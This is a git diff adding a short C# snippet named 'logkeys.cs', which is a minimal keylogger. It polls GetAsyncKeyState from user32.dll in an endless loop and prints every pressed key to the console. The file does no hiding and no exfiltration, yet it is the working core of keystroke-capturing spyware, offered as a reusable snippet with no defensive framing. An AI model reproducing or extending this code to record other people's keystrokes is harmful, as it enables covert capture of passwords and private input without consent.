diff --git a/csharp snippets/logkeys.cs b/csharp snippets/logkeys.cs
new file mode 100644
index 0000000..82705e4
--- /dev/null
+++ b/csharp snippets/logkeys.cs	
@@ -0,0 +1,21 @@
+[DllImport("user32.dll")]
+public static extern int GetAsyncKeyState(Int32 i);
+    
+static void Main(string[] args)
+{
+    while (true)
+    {
+        Thread.Sleep(100);
+    
+        for (int i = 0; i < 255; i++)
+        {
+            int keyState = GetAsyncKeyState(i);
+            // 32769 should be used for windows 10.
+            if (keyState == 1 || keyState == -32767 || keyState == 32769)
+            {
+                Console.WriteLine((char)i);
+                break;
+            }
+        }
+    }
+}